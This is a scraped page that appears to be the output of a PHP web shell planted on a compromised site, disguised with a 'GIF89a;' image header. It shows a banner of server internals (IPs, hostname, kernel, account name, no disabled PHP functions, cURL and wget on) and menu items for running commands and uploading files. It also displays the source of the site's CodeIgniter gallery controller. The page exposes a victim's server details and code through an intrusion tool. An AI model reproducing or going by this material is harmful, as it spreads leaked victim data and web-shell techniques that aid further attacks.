GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.128.31.76 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../admission/../alumni/application/controllers/user/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Description of User * * @author Softpro India Pvt. Ltd. */ class Gallary extends CI_Controller { //put your code here public function __construct() { parent::__construct(); $this->load->model("user/GallaryManagement"); $this->load->model("admin/NotificationManagement"); } public function index() { if ($this->sessionvalidator->validateSession("userData")) { $userData = $this->session->userdata("userData"); $viewData["notificationList"] = $this->NotificationManagement->getNotificationsForUserDashboard($userData["userid"], $userData["user_role"])->result(); $viewData["gallaryLimits"] = $this->GallaryManagement->getGallaryLimits($userData["user_role"])->result(); $viewData["gallaryData"] = $this->GallaryManagement->getGallaryData($userData["userid"])->result(); //print_r($userData); //print_r($viewData); //exit; $this->load->view("user/gallary", $viewData); } else { redirect("Home#loginModal"); } } public function uploadGallaryImage() { if ($this->sessionvalidator->validateSession("userData")) { if (empty($_FILES['gallaryImage']['name'])) { $this->form_validation->set_rules('gallaryImage', 'File', 'required', array("required" => "Select An Images To Upload.")); $this->form_validation->run(); $this->index(); } else { $fileConfig["upload_path"] = "./assets/user/uploads/"; $fileConfig["allowed_types"] = "jpg|png|jpeg|webp"; $fileConfig["max_size"] = "1024"; $fileConfig["file_ext_tolower"] = TRUE; $fileConfig["encrypt_name"] = TRUE; $this->load->library("upload", $fileConfig); if (!$this->upload->do_upload("gallaryImage")) { $this->session->set_flashdata("errorMessage", $this->upload->display_errors()); $this->index(); } else { $fileName = $this->upload->data()["file_name"]; $userData = $this->session->userdata("userData"); $gallaryData = array( "pic_name" => "assets/user/uploads/" . $fileName, "pic_status" => "t", "u_id" => $userData["userid"], "pic_date" => date('Y-m-d') ); if ($this->GallaryManagement->addGallaryImage($gallaryData)) { $this->session->set_flashdata('successMessage', 'Gallery Image Uploaded Successfully'); redirect("user/Gallary"); } else { $this->session->set_flashdata("errorMessage", "Failed To Upload Gallery Image."); $this->index(); } } } } else { redirect("Home#loginModal"); } } public function deleteImage($pic_id,$loc='') { if ($this->sessionvalidator->validateSession("userData")) { $userData = $this->session->userdata("userData"); if ($this->GallaryManagement->deleteGallaryImage($pic_id)) { $this->session->set_flashdata('successMessage', 'Gallery Image Deleted Successfully'); if($loc=='') redirect("user/Gallary"); else redirect("user/User/userDetails/$loc"); } else { $this->session->set_flashdata("errorMessage", "Failed To Delete Gallery Image."); $this->index(); } } else { redirect("Home#loginModal"); } } public function likeGalleryPic($pic_id, $likeCount,$userid) { if ($this->sessionvalidator->validateSession("userData")) { if ($this->GallaryManagement->updateGallary($pic_id,array("pic_likes"=>($likeCount+1)))) { //$this->session->set_flashdata('successMessage', 'Like Uploaded Successfully'); redirect("user/User/userDetails/".$userid); } else { // $this->session->set_flashdata("errorMessage", "Failed To Delete Gallery Image."); redirect("user/User/userDetails/".$userid); } } else { redirect("Home#loginModal"); } } }